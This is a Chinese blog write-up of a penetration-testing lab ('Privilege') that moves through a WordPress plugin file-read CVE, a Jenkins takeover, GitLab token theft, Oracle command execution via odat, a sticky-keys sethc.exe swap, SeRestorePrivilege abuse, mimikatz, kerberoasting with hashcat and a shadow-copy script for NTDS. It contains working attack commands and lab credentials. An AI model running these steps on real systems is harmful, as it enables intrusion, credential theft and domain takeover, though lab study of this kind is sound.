Privilege

看见是WordPress站点，直接wpscan开扫

扫出来存在usc-e-shop漏洞，搜出来CVE-2022-4140但没复现成功

image-20260317153810274

fscan扫一下

image-20260317152753276

发现源码

image-20260317153057892

发现数据库账密

现在知道为什么没复现成功了，这题源码把原本在wp-content/plugins/usc-e-shop/functions目录下的content-log.php移到了tools目录下

image-20260317153956667

所以原来的cve还是能用的，不过要把路由换成/tools/content-log.php

题目提示说

1
请获取 XR Shop 官网源码的备份文件，并尝试获得系统上任意文件读取的能力。并且，管理员在配置 Jenkins 时，仍然选择了使用初始管理员密码，请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。

Jenkins就是8080端口上的服务，搜索一下密码在哪

image-20260317154210502

image-20260317154233890

成功admin登陆后

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总 - 知乎

如果知道web站点的话是可以写入一句话木马的，刚好我在读密码的时候不小心报错过一次，从而知道了80端口的web站点

image-20260317155533207

image-20260317155614614

成功连接

image-20260317155645661

第二关的题目提示

1
管理员为 Jenkins 配置了 Gitlab，请尝试获取 Gitlab API Token，并最终获取 Gitlab 中的敏感仓库。获取敏感信息后，尝试连接至 Oracle 数据库，并获取 ORACLE 服务器控制权限。

发现hidden了复制不出来

image-20260317160849056

网页源代码里面看一下

image-20260317160952664

成功找到,即value的值

但这是一个加密后的结果

回到控制台解密一下

image-20260320132125156

image-20260317162203971

GitLab信息泄露利用详见

项目 API | 极狐GitLab

先fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
172.22.14.31:1521 open
172.22.14.7:445 open
172.22.14.7:3306 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.7:8080 open
172.22.14.16:9094 open
[*] NetInfo 
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo 
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo 
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC          
[*] NetInfo 
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios 172.22.14.46    XIAORANG\XR-0923              
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE           
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

image-20260317172032659

梳理一下

1
2
3
4
5
172.22.14.7 已拿下
172.22.14.11 XIAORANG\XR-DC
172.22.14.16 gitlab
172.22.14.31 WORKGROUP\XR-ORACLE
172.22.14.46 XIAORANG\XR-0923

添加个管理员rdp一下

发现桌面上有mysql用之前获取的账密成功登录，但没发现什么有用信息

image-20260317171059134

image-20260320131832752

梳理一下输出的

1
2
3
4
5
"http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/internal-secret.git
"http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/xradmin.git"
"http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/awenode.git"
"http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/xrwiki.git"
"http_url_to_repo":"http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git"

在kali里面git一下

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密

image-20260317173213105

因为是Oracle所以用odat打

1
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user bug 123456We /add'
1
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrator bug /add'

rdp连上31

成功拿到flag

下一关描述

1
攻击办公区内网，获取办公 PC 控制权限，并通过特权滥用提升至 SYSTEM 权限。

之前git下来的项目的internal-secret/credentials.txt里找到XR-0923的账密

image-20260317181925078

rdp连但是权限低读不了

想办法提权

image-20260317183111723

net user zhangshuai发现是Remote ManagerUser，可以打winrm

image-20260317183039408

1
proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

发现比rdp多了一个SeRestorePrivilege，这个特权对任何文件都具有写权限

image-20260317183136674

Windows SeBackupPrivilege 与 SeRestorePrivilege 特权利用-CSDN博客

渗透技巧——Windows九种权限的利用

image-20260317185005657

但上面文章里的方法用不了

粘滞键提权，这两条命令的意思是将sethc.exe重命名为sethc.bak，将cmd.exe重命名为sethc.exe，这样在登录界面连按5次就是调用的名为sethc.exe的cmd.exe文件

1
2
ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe

在rdp里面锁定用户，连按5次shift，利用登陆程序的高权限开启终端

image-20260317190529908

成功获取flag

第四关提示

1
尝试接管备份管理操作员帐户，并通过转储 NTDS 获得域管理员权限，最终控制整个域环境。

用刚刚的终端创建一个管理员

rdp上去用mimikatz收集哈希

image-20260317191521832

找到了域用户XR-0923的哈希7bf463dd91460b3b151eff73e3998132

打kerberoasting

SPN（Service Principle Name）是服务实例的唯一标识符，它告诉kerberos该服务运行在哪台计算机的哪个账户下

当客户端想访问某个网络服务时，需要向DC申请一张ST，为了请求ST，客户端必须用SPN向DC说明它要访问哪个服务，

大多数SPN关联的是计算机账户，但如果域管配置了服务以普通域用户身份运行，那此服务的SPN关联的就是域用户

为什么GetUserSPNs要找关联用户的spn?

找到了用户关联的spn就能向dc申请ST，而ST是由关联用户的密码哈希加密的，拿到了ST就有爆破的可能

因为计算机用户密码通常非常长，不可能爆破。但是普通用户密码一般就几位，容易爆破

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11

之前的Flarum靶场也用到了kerberoasting,但是那次有用户名字典，但没有域用户的ntml哈希，这次相反，没有用户字典但是有哈希，这两次有啥区别吗？

image-20260317192222960

抓tianjing的哈希

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11 -request-user tianjing

image-20260317192448367

保存下来用hashcat爆破一下

1
hashcat -a 0 -m 13100 hash.txt all.txt

image-20260317193027300

成功爆破出来DPQSXSXgh2

winrm连一下

1
proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

image-20260317193312681

多了一个SeBackupPrivilege

在kali上新建一个raj.dsh

1
2
3
4
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

再用unix2dos转换一下编码

上传一下

image-20260317194601544

卷影拷贝

image-20260317194703498

image-20260317195311596

image-20260317195426949

我急着吃饭就只读了flag，wp里面是读取域管哈希，明天看看

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.